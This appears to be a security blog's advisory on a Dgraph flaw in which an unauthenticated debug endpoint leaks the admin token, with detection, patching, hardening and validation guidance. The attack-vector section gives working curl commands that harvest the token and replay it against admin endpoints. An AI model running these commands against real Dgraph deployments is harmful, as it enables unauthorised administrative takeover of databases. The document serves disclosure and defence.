Vulnerability Analysis

CVE-2026-40173: Dgraph Admin Token Exposed via Unauthenticated Debug Endpoint — What It Is & How to Fix It

Executive Summary

CVE-2026-40173 is a critical-severity credential disclosure vulnerability (CVSS 9.4) in Dgraph, the popular open-source distributed GraphQL database. The /debug/pprof/cmdline profiling endpoint is exposed without authentication on the default HTTP mux, leaking the full process command line — including the admin token passed via --security "token=..." at startup. Any attacker who can reach the Alpha HTTP port can silently harvest this token and replay it against admin-only endpoints, gaining full administrative control over the database. A patch is available in Dgraph v25.3.2 and organizations should treat this as an emergency upgrade.

1. What Is This Vulnerability?

Dgraph ships with Go's built-in net/http/pprof profiling package, which registers several debug endpoints under /debug/pprof/ on the default http.DefaultServeMux. One of those endpoints — /debug/pprof/cmdline — returns the complete command-line arguments of the running process as plain text.

The problem is straightforward: Dgraph's security model allows operators to restrict admin API access by setting an admin token via the startup flag --security "token=<secret>". This token must be passed in the X-Dgraph-AuthToken request header to reach admin endpoints. However, because pprof is registered on the default mux without any authentication middleware, the same secret token that protects admin access is printed verbatim inside the response of /debug/pprof/cmdline.

The Vulnerable Endpoint

GET http://<dgraph-alpha-host>:<port>/debug/pprof/cmdline HTTP/1.1
Host: dgraph-alpha:8080

Example response (abbreviated):

/usr/local/bin/dgraph alpha \
  --security "token=sup3rSecretAdminToken" \
  --badger "dir=/data/badger" \
  --my "dgraph-alpha:7080" \
  ...

The admin token sup3rSecretAdminToken is now fully exposed — no authentication, no rate limiting, no audit trail.

Attack Vector

The exploit is a two-step credential theft and replay:

  1. Harvest the token — Send a single unauthenticated GET request to /debug/pprof/cmdline. Parse the --security "token=..." value from the response body.
  2. Replay against admin endpoints — Use the harvested token in the X-Dgraph-AuthToken header to call any admin-only API, such as /admin/config/cache_mb, /admin/shutdown, or /admin/draining.
# Step 1: Harvest the admin token
TOKEN=$(curl -s http://dgraph-alpha:8080/debug/pprof/cmdline | \
  grep -oP '(?<=token=)[^\s"]+')

# Step 2: Use token to change cache config (admin-only endpoint)
curl -X POST http://dgraph-alpha:8080/admin/config/cache_mb \
  -H "X-Dgraph-AuthToken: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"lruMb": 2048}'

This requires zero privileges, no credentials, and leaves minimal trace unless access logs are reviewed.

Classification

  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-215: Insertion of Sensitive Information Into Debugging Code

Real-World Impact

While no confirmed public breaches have been attributed to CVE-2026-40173 at time of writing, the vulnerability class is highly exploitable. Similar debug-endpoint exposures in other systems (notably CVE-2019-11248 in Kubernetes, where /debug/pprof was exposed on the kubelet's healthz port) have been actively exploited in cloud environments. Dgraph is commonly deployed in Kubernetes clusters, microservice architectures, and multi-tenant SaaS platforms — environments where lateral movement via a stolen admin credential can be catastrophic.

2. Who Is Affected?

Component Affected Versions Fixed Version
Dgraph Alpha 25.3.1 and all prior releases 25.3.2+
Dgraph (self-hosted) Any deployment using --security token=... with the Alpha HTTP port exposed 25.3.2+
Dgraph Cloud (managed) Vendor has confirmed managed instances are patched N/A

Highest-risk configurations:

  • Dgraph Alpha instances with the HTTP port (default 8080) reachable by untrusted network segments or the public internet
  • Kubernetes deployments where the Alpha pod's port is accessible via a LoadBalancer or NodePort service
  • Docker Compose setups that map 8080:8080 without a reverse proxy or firewall rule in front
  • Any deployment where --security token=... is used AND the debug port has not been explicitly disabled or firewalled

Lower-risk configurations:

  • Deployments where the Alpha HTTP port is firewalled to trusted IPs only
  • Deployments that do not use the --security token=... flag (though these have no admin protection at all — also dangerous)
  • Dgraph Cloud managed service (patched by vendor)

3. How to Detect It (Testing)

Manual Testing Steps

Step 1: Identify Dgraph Alpha endpoints in scope

Check for open ports 8080 (HTTP) and 9080 (gRPC) on any hosts running Dgraph Alpha.

nmap -p 8080,9080 <target-host>

Step 2: Request the cmdline endpoint

curl -v http://<dgraph-alpha>:8080/debug/pprof/cmdline

Step 3: Evaluate the response

  • If the response contains a long argument string (e.g., starts with /usr/local/bin/dgraph or dgraph), the endpoint is exposed.
  • Search the response for token= in the --security flag.
  • If a token is present, the system is confirmed vulnerable.
  • If the response returns 401 Unauthorized or an authentication prompt, the endpoint is protected.
  • If the response returns a 404 or connection refused, the endpoint may be disabled or firewalled.

Step 4: Validate admin access with the token

# If a token was found, test admin endpoint access
curl -H "X-Dgraph-AuthToken: <harvested-token>" \
  http://<dgraph-alpha>:8080/admin/config/cache_mb

A successful (200) response confirms full admin access via the leaked credential.

Automated Scanning

Using Nuclei (recommended):

Nuclei community templates include checks for exposed pprof endpoints. Create or use a custom template:

id: dgraph-pprof-token-disclosure

info:
  name: Dgraph Admin Token Disclosure via /debug/pprof/cmdline
  author: security-team
  severity: critical
  cve-id: CVE-2026-40173

requests:
  - method: GET
    path:
      - "{{BaseURL}}/debug/pprof/cmdline"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "dgraph"
          - "token="
        condition: and

nuclei -t dgraph-pprof-token-disclosure.yaml -u http://<target>:8080

Using curl with grep in a CI security scan:

#!/bin/bash
RESPONSE=$(curl -sk --max-time 5 "http://$DGRAPH_HOST:8080/debug/pprof/cmdline")
if echo "$RESPONSE" | grep -q "token="; then
  echo "CRITICAL: Admin token exposed at /debug/pprof/cmdline"
  exit 1
else
  echo "OK: /debug/pprof/cmdline does not expose token"
fi

Code Review Checklist

When auditing Dgraph deployments:

  • Check startup scripts, Docker entrypoints, and Helm values for --security "token=..." flags
  • Verify that /debug/pprof/ endpoints are not reachable from untrusted networks
  • Confirm Dgraph version is 25.3.2 or higher (dgraph version)
  • Check reverse proxy/API gateway config to confirm /debug/ paths are blocked externally
  • Review Kubernetes NetworkPolicies or security groups to confirm the Alpha HTTP port is not exposed to the public internet
  • Audit access logs for historical /debug/pprof/cmdline requests

4. How to Fix It (Mitigation)

Step-by-Step Remediation

1. Upgrade Dgraph to v25.3.2 or later

This is the primary fix. Dgraph v25.3.2 removes or restricts the unauthenticated pprof endpoint registration on the default mux.

# Docker
docker pull dgraph/dgraph:v25.3.2

# Binary upgrade
wget https://github.com/dgraph-io/dgraph/releases/download/v25.3.2/dgraph-linux-amd64.tar.gz
tar -xzf dgraph-linux-amd64.tar.gz
sudo mv dgraph /usr/local/bin/dgraph

# Helm (Kubernetes)
helm upgrade dgraph dgraph/dgraph --set image.tag=v25.3.2

2. Immediately rotate the admin token

Even before patching, rotate the --security token to invalidate any credential that may have been harvested:

# Update your startup config / environment variable
export DGRAPH_SECURITY_TOKEN="$(openssl rand -hex 32)"

# Restart Dgraph Alpha with new token
dgraph alpha --security "token=$DGRAPH_SECURITY_TOKEN" ...

Store the new token in a secrets manager (HashiCorp Vault, AWS Secrets Manager, Kubernetes Secrets) rather than hardcoding it in scripts.

3. Block /debug/pprof/ at the network perimeter (defense-in-depth)

Even after patching, add a network-layer block to prevent pprof from ever being externally reachable:

nginx reverse proxy:

location ~ ^/debug/ {
    deny all;
    return 403;
}

Kubernetes NetworkPolicy:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: dgraph-alpha-restrict
spec:
  podSelector:
    matchLabels:
      app: dgraph-alpha
  ingress:
    - ports:
        - port: 8080
      from:
        - podSelector:
            matchLabels:
              role: trusted-backend

4. Audit environment for prior exploitation

Review access logs for requests to /debug/pprof/cmdline:

grep "pprof/cmdline" /var/log/nginx/access.log
kubectl logs <dgraph-alpha-pod> | grep "pprof/cmdline"

Any request to this endpoint before patching should be treated as a potential token compromise event.

Configuration Hardening

In addition to the patch, apply these hardening settings:

  • Never expose port 8080 directly to the internet. Use a reverse proxy (nginx, Traefik) or API gateway and restrict /debug/ paths.
  • Use environment variables for secrets, not command-line flags. Command-line arguments are visible in /proc/<pid>/cmdline and process listings (ps aux) even without this vulnerability.
  • Enable TLS on the Alpha HTTP port to prevent credential interception in transit.
  • Use the minimal required network exposure — Dgraph Alpha's admin API should only be reachable from your application tier.

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Confirm /debug/pprof/cmdline no longer returns the admin token after upgrading to v25.3.2
  • Scenario B: Confirm that old (pre-rotation) tokens no longer grant admin access after token rotation
  • Scenario C: Confirm that GraphQL queries and mutations through the normal API continue to function after the upgrade

Security Test Cases

Test Case 1: Verify the credential disclosure is remediated

  • Precondition: Dgraph Alpha v25.3.2 running with --security "token=<secret>"
  • Steps:
    1. Send GET /debug/pprof/cmdline to the Alpha HTTP port
    2. Examine the response body
  • Expected Result: Response returns 403 Forbidden, 401 Unauthorized, or does not contain token= in the output. If the endpoint still responds with process arguments, the token value must not appear.

Test Case 2: Verify admin endpoints still enforce token validation

  • Precondition: Dgraph Alpha v25.3.2 running
  • Steps:
    1. Send a request to /admin/config/cache_mb without the X-Dgraph-AuthToken header
    2. Send the same request with an incorrect token
  • Expected Result: Both requests return 403 Unauthorized. Only a request with the correct token succeeds.

Test Case 3: Verify normal application functionality

  • Precondition: Dgraph Alpha v25.3.2 running after token rotation
  • Steps:
    1. Execute a representative set of GraphQL queries against the Dgraph endpoint
    2. Run application integration tests
  • Expected Result: All queries return correct results. No application errors related to the schema or authentication.

Automated Validation Test

#!/bin/bash
# post-patch-validation.sh

HOST="${DGRAPH_HOST:-localhost}"
PORT="${DGRAPH_PORT:-8080}"
TOKEN="${DGRAPH_ADMIN_TOKEN}"

echo "=== CVE-2026-40173 Post-Patch Validation ==="

# Test 1: pprof endpoint should NOT expose token
echo "[1] Checking /debug/pprof/cmdline..."
RESPONSE=$(curl -sk --max-time 5 "http://$HOST:$PORT/debug/pprof/cmdline")
if echo "$RESPONSE" | grep -q "token="; then
  echo "FAIL: Token still exposed in /debug/pprof/cmdline"
  exit 1
else
  echo "PASS: Token not found in /debug/pprof/cmdline response"
fi

# Test 2: Admin endpoint should reject no-token request
echo "[2] Checking admin endpoint without token..."
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
  "http://$HOST:$PORT/admin/config/cache_mb")
if [ "$STATUS" = "403" ] || [ "$STATUS" = "401" ]; then
  echo "PASS: Admin endpoint rejects unauthenticated request (HTTP $STATUS)"
else
  echo "WARN: Unexpected HTTP $STATUS from admin endpoint (expected 401 or 403)"
fi

# Test 3: Admin endpoint should accept correct token
echo "[3] Checking admin endpoint with correct token..."
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
  -H "X-Dgraph-AuthToken: $TOKEN" \
  "http://$HOST:$PORT/admin/config/cache_mb")
if [ "$STATUS" = "200" ]; then
  echo "PASS: Admin endpoint accepts valid token (HTTP 200)"
else
  echo "FAIL: Admin endpoint returned HTTP $STATUS with valid token"
  exit 1
fi

echo "=== All checks passed ==="

6. Prevention & Hardening

Best Practices

1. Never pass secrets as command-line arguments. Process command lines are visible in /proc/<pid>/cmdline, ps aux, shell history, and — as this CVE proves — any process that can read its own startup arguments. Use environment variables or a dedicated secrets manager:

# BAD — token appears in process list and debug endpoints
dgraph alpha --security "token=mySecret123"

# BETTER — use environment variable
export DGRAPH_SECURITY_TOKEN="mySecret123"
dgraph alpha --security "token=$DGRAPH_SECURITY_TOKEN"

# BEST — inject from secrets manager at runtime
DGRAPH_SECURITY_TOKEN=$(vault kv get -field=token secret/dgraph)
dgraph alpha --security "token=$DGRAPH_SECURITY_TOKEN"

2. Apply the principle of least network exposure. Database admin APIs should never be reachable from the public internet. Use VPCs, private subnets, Kubernetes NetworkPolicies, and security groups to restrict access to the Alpha HTTP port.

3. Disable or restrict debug/profiling endpoints in production. Go's pprof package is a valuable development and performance-tuning tool, but it should never be on a production-facing network interface. When building custom Go services, conditionally register pprof only in non-production environments:

if os.Getenv("ENABLE_PPROF") == "true" {
    go func() {
        log.Println(http.ListenAndServe("127.0.0.1:6060", nil))
    }()
}

4. Rotate credentials regularly and on suspicion. Even without a known exploit, admin tokens should be rotated periodically as part of a credential hygiene program. After this disclosure, treat any Dgraph admin token set before April 15, 2026 as potentially compromised if the Alpha HTTP port was not strictly firewalled.

5. Include Dgraph in your software inventory and vulnerability management process. Subscribe to Dgraph's GitHub Security Advisories so you receive notifications about future disclosures:

Monitoring & Detection

Set up alerting on the following signals to detect exploitation attempts:

1. Access log alerting for debug paths:

# Add to your SIEM / log aggregation pipeline
# Alert on any access to /debug/ on Dgraph Alpha ports
grep -E '"(GET|POST|HEAD) /debug/' dgraph-access.log

2. Unexpected admin API calls: Monitor for calls to admin-only endpoints (/admin/shutdown, /admin/draining, /admin/config/cache_mb, /admin/export) from IP addresses not in your trusted application tier.

3. Behavioral anomaly in GraphQL schema or configuration: Unexpected schema mutations or configuration changes may indicate an attacker has gained admin access. Baseline normal admin API call frequency and alert on deviations.

4. Kubernetes audit logs: If Dgraph is running in Kubernetes, enable audit logging on pods accessing the Alpha HTTP port from unexpected sources.

References

Latest from the blog

See all →